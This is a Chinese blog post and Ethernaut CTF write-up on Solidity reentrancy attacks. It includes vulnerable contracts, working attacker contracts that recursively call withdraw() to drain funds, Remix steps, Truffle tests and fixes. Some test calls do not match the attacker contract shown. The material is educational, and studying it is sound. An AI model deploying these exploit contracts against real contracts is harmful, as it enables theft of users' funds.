智能合约安全-重入攻击
— 有意思,填一小块坑 —
前言
一直挖着关于智能合约安全问题的坑放在自己的博客列表里,包括什么RPC20代币啦,智能合约函数使用啦,巴拉巴拉。但是一直整块时间去整理。
今天知道了个有意思的跟CTF题目一样的智能合约漏洞合集网站。做了其中重入攻击的部分。很有意思,还尝试用了下Remix。之后考虑把它刷完。
那么回归重点。
重入攻击
重入攻击是一种由于solidity智能合约的特性,再加上智能合约编写不当导致的漏洞。
用一句话来概括就是,攻击者会编写攻击智能合约,调用受害合约,利用自己的Fallback函数,循环调用一段受害者合约的代码。由于是因为重复进入受害者合约执行一段代码导致的漏洞,就叫做重入攻击。
在继续之前,我们列出需要解决的问题:
- attack(攻击者合约)如何重入victim(受害者合约)
- 为什么attack重入了victim,就会导致漏洞。
先解决第一个问题,为什么会重入?
因 Fallback、足够Gas 重入
受害者合约Victim.sol
:1
2
3
4
5
6
7
8
9
10
11pragma solidity ^0.4.8;
contract Victim {
function withdraw() {
uint transferAmt = 1 ether;
if (!msg.sender.call.value(transferAmt)()) throw;
}
function deposit() payable {}
}
以上是一个典型的会导致重入的智能合约。
withdraw
函数完成了存储在Victim合约中的代币的撤回功能。调用一次,就会转账1 ether
到调用者用户。此处的重入攻击会导致调用一次withdraw()
转出不只1 ether
的钱。
(虽然来说这个合约,攻击者完全可以多次调用withdraw来慢慢转钱,但是只是为了演示的智能合约,不用太计较)
关键原因就是使用call.value()
转账,但在此之前需要了解一下Fallback函数
首先我们要知道,转账是可以转钱到一个智能合约地址或者一个账户地址。这两个是有所区别的————Fallback函数
合约可以有一个未命名的函数————Fallback函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。
除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。 如果不存在这样的函数,则合约不能通过常规交易接收以太币。
在这样的上下文中,通常只有很少的 gas 可以用来完成这个函数调用(准确地说,是 2300 gas),所以使 fallback 函数的调用尽量廉价很重要。 请注意,调用 fallback 函数的交易(而不是内部调用)所需的 gas 要高得多,因为每次交易都会额外收取 21000 gas 或更多的费用,用于签名检查等操作。
利用Fallback函数,我们就可以使victim调用攻击合约Fallback函数中的任意代码,但是这是智能合约合理的一些特性。因为如果没有足够的Gas,是不足以支持不断重入的。call.value()
转账给了我们足够的Gas。
<address>.transfer(uint256 amount)
:
向 地址类型 发送数量为 amount 的 Wei,失败时抛出 异常,发送 2300 gas 的矿工费,不可调节。
<address>.send(uint256 amount)
(bool):
向 地址类型 发送数量为 amount 的 Wei,失败时返回 false,发送 2300 gas 的矿工费用,不可调节。
<address>.call(...)
(bool):
发出低级函数 CALL,失败时返回 false,发送所有可用 gas,可调节。.call
函数添加.value
会附加上代币,形成转账
可以看出call.value
与transfer
和send
不同,会发送目前拥有的全部的gas,从而使智能合约有足够的gas不断重入。
编写攻击合约
那么在攻击合约中使用payable fallback函数配合受害合约的转账函数发送全部的Gas。我们就可以有足够的Gas去执行自己的代码————重入。
在payable fallback函数中,我们选择继续调用受害者合约的withdraw()
,再配合一些控制就可以任意通过一次调用,转账出任意多的代币。
attack.sol
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30pragma solidity ^0.4.8;
//引入受害合约
import './Victim.sol';
//攻击
contract Attacker {
//受害合约实例
Victim v;
//重入次数
uint public count;
//日志
event LogFallback(uint c, uint balance);
//初始化函数
function Attacker(address victim) {
v = Victim(victim);
}
//攻击函数
function attack() {
v.withdraw();
}
//payable fallback函数
function () payable {
count++;
//记录日志
LogFallback(count, this.balance);
//限制转出10个代币
if (count < 10) {
v.withdraw();
}
}
}
这样子,只需要攻击函数的attack(),我们就可以得到10个ether
当然,我们目前做的看起来没有意义。我们只是解决了第一个问题:attack(攻击者合约)如何重入victim(受害者合约)?
那么为什么attack重入了victim,就会导致漏洞转钱很多次?真实情况可不会向之前的合约一样,调用一次就返回给你钱。你调用很多次,就给你很多钱。肯定会有所限制。
资产记录的修改在转币之后
取重入题目部分,这更符合真实的场景,也引入重入攻击另一个重要的形成条件。
victim智能合约
关键部分如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15//账户存储的代币数量(用户账单)
mapping(address => uint) public balances;
//撤回钱,从账上化除
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
//收取钱,记账
function donate(address _to) public payable {
balances[_to] += msg.value;
}
这是一个可以接受撤回代币的智能合约。其中有重入漏洞,可以导致一次调用withdraw,多于记录的钱。
分析其流程:
- 判断账目中钱是否够 Y
- 转钱
- 扣除账目中的钱
咋一看没什么问题。其中的关键部分就在于 balances[msg.sender] -= _amount;
————资产记录的修改在转币之后 。
通常来说,其他语言中这么写问题也不大,因为是同一个函数中,逐步执行的。但是在智能合约中,转账到别人的智能合约中,会调用别的智能合约的fallback函数,就会形成风险。
在结合之前的重入:.call.value
转账导致重入 + 资产记录的修改在转币之后
导致重入绕过验证,就可以形成恶意转账,掏空智能合约的所有代币。
分析其攻击流程(以两层来举例):
- F1)判断账目中钱是否够 Y
- F1)转钱
- 进入攻击函数的fallback函数,重新调用
- F2)判断账目中钱是否够 Y
- F2)转钱
- F2)扣除账目中的钱
- 返回攻击函数的fallback函数
- 返回原函数
- F1)扣除账目中的钱
- 形成溢出
ethernaut重入题
基于Remix
目标就是从智能合约中偷走全部的钱。
以下是目标智能合约代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25pragma solidity ^0.4.18;
//合约
contract Reentrance {
//账本
mapping(address => uint) public balances;
//收钱记账
function donate(address _to) public payable {
balances[_to] += msg.value;
}
//查看账本
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
//取钱销账
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
//fallback收钱函数
function() public payable {}
}
思路比较明显:
- 先构造一个攻击合约
- 攻击合约触发donate,存入一小部分钱,使之可以满足withdaw的if判断
- 攻击合约触发withdraw退钱
- 通过if判断
address.call.value()()
转钱进入攻击合约- 执行攻击合约的payable fallback函数的内容
- 递归 进入合约的withdraw函数,触发退钱
- 由于call方法是发送全部的gas。会一直执行到合约被榨干,没有足够的钱,转钱失败。或者gas不够,攻击失败,回滚。
- 当转钱失败,执行递归的最里面一层的
balances[msg.sender] -= _amount;
- 一层层回退,不断执行减操作,导致balances[]溢出,变为巨大整数。
攻击合约构造要点:
- 需要引用目标合约
- 需要一个函数触发donate
- 需要一个函数触发withdraw表示攻击开始
- 需要一个函数提取出攻击得到的钱
坑点:自己写攻击合约,发现无论怎么样都是失败,也不知道为啥。之后不断翻别人writeup。发现攻击函数中需要调用withdraw两次才能进入payable fallback函数。自己试验了一下,还真是这样,试验截图如下。
number为重入次数,instance为受害者合约地址,另一个是攻击合约地址
完全不知道原因,感觉原理也很底层,也就不深究了。
贴上攻击代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50pragma solidity ^0.4.18;
//引入目标合约内容
contract Reentrance {
//.... 和上文一模一样的内容 ....
}
//自己的攻击合约
contract MyContract {
//目标合约实例
Reentrance c;
//合约拥有者
address owner;
//进入payable fallback函数的次数
uint public number;
//初始化函数
function MyContract(address _c) public payable {
//链接至目标合约
c = Reentrance(_c);
//确认合约所有者,用于最后取钱
owner = msg.sender;
//直接完成donate步骤,在创建合约时,给一些钱
c.donate.value(msg.value)(this);
}
//payable fallback 函数
function() public payable {
//计数
number++;
//不一定是donate金额的倍数,榨干每一点钱
uint weHave = c.balanceOf(this);
if (weHave > c.balance) {
if (c.balance != 0) c.withdraw(c.balance);
return;
}
c.withdraw(weHave);
}
//调用withdraw,需要两次以上的调用,目前不知道原因
//此处参数可以为0。但是不意味着可以不donate。一次性转钱的最大值就是donate的金额
function exploit() public {
c.withdraw(0);
c.withdraw(0);
}
//提取参数至合约拥有者
function getmoney() public {
owner.transfer(this.balance);
}
}
利用Remix的操作步骤
创建合约
- 前者填写创建合约时,附加的金额,用于donate。
- 后者填写目标合约address
攻击 -> 拿钱
提交
基于truffle 本地测试
下面是利用 truffle
+ ganache
利用 truffle test
进行本地测试的代码。没有遇到Remix环境下的坑,不知道是链的问题,还是编译器的问题。记录一下过程。
设置部署文件 2_deploy_contracts.js
:1
2
3
4
5
6
7
8
9
10const Victim = artifacts.require('./Victim.sol')
const Attacker = artifacts.require('./Attacker.sol')
module.exports = function(deployer) {
deployer
.deploy(Victim)
.then(() =>
deployer.deploy(Attacker, Victim.address)
)
}
链接至ganache测试链,truffle.js
1
2
3
4
5
6
7
8
9
10
11
12
13module.exports = {
// See <http://truffleframework.com/docs/advanced/configuration>
// to customize your Truffle configuration!
networks: {
development: {
// host: "10.21.238.12",
// port: 8545,
host: 'localhost',
port: 7545,
network_id: "*" // Match any network id
}
}
};
test.js
基于js的测试脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58const attacker = artifacts.require("Attacker");
const victim = artifacts.require("Victim");
contract('test', async (accounts) => {
it("should put 10 in attacker", async () => {
let instance_att = await attacker.deployed();
acct1 = accounts[0]
let getBalance = web3.eth.getBalance;
let options = { from: acct1, to: attacker.address, value: 20 }
let result= await instance_att.donate.sendTransaction(options)
// console.log(result);
console.log(getBalance(attacker.address))
assert.equal(getBalance(attacker.address), 20);
}),
it("should put 100 in victim", async () => {
let instance = await victim.deployed();
acct1 = accounts[0]
let getBalance = web3.eth.getBalance;
let options = { from: acct1, to: victim.address, value: 100 }
let result= web3.eth.sendTransaction(options)
// console.log(result);
console.log(getBalance(victim.address))
assert.equal(getBalance(victim.address), 100);
}),
// it("show attacker and victim", async () => {
// let getBalance = web3.eth.getBalance;
// console.log(getBalance(victim.address))
// console.log(getBalance(attacker.address))
// assert.equal(getBalance(victim.address), 100);
// }),
it("attack_ready (transfer 10)", async () => {
let instance_att = await attacker.deployed();
let instance_vic = await victim.deployed();
console.log(attacker.address)
console.log(accounts[0])
let getBalance = web3.eth.getBalance;
let result = await instance_att.transfer.sendTransaction(victim.address,10)
let result2 = await instance_vic.balanceOf.call(attacker.address,{from: attacker.address})
console.log("balanceOfAttack in vic:"+result2)
console.log("balanceOfvictim:"+getBalance(victim.address))
console.log("balanceOfAttack:"+getBalance(attacker.address))
assert.equal(getBalance(victim.address), 110);
}),
it("attack (get 20)", async () => {
let instance_att = await attacker.deployed();
let instance_vic = await victim.deployed();
let getBalance = web3.eth.getBalance;
let result = await instance_att.attack()
let result2 = await instance_vic.balanceOf.call(attacker.address,{from: attacker.address})
console.log("balanceOfAttack in vic:"+result2)
console.log("balanceOfvictim:"+getBalance(victim.address))
console.log("balanceOfAttack:"+getBalance(attacker.address))
assert.equal(getBalance(victim.address), 90);
})
})
小结
重入漏洞形成原因:
- 使用
call.value
转账,会发送全部Gas,为重入循环转账提供了条件 - 资产记录的改变,在实际转账后。漏洞的关键点。
重入漏洞修补:
- 资产记录的改变,在实际转账前。
- 不使用
call.value
,使用transfer
- 使用安全的加减函数,捕获溢出,形成回滚。
参考
https://medium.com/@JusDev1988/reentrancy-attack-on-a-smart-contract-677eae1300f2
https://bbs.pediy.com/thread-228422.htm
https://blog.riskivy.com/%e6%99%ba%e8%83%bd%e5%90%88%e7%ba%a6ctf%ef%bc%9aethernaut-writeup-part-2/
https://www.secpulse.com/archives/73682.html